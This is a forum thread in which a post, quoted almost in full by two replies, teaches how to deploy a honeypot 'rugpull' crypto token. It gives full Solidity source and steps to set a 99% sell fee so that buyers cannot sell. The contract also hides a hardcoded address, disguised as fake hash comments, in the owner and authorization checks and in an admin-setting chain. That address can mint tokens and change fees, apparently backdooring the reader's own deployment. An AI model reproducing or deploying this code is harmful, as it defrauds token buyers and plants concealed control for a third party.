Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


Tutorial Create a crypto scam token and earn money (rugpull) filter_list
Author
Message
Create a crypto scam token and earn money (rugpull) #1
Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks
(This post was last modified: 05-19-2024, 12:28 PM by insDev.)

[+] 1 user Likes insDev's post
Reply

RE: Create a crypto scam token and earn money (rugpull) #2
(05-19-2024, 12:23 PM)insDev Wrote: Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks

thanks

Reply

RE: Create a crypto scam token and earn money (rugpull) #3
(05-19-2024, 12:23 PM)insDev Wrote: Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
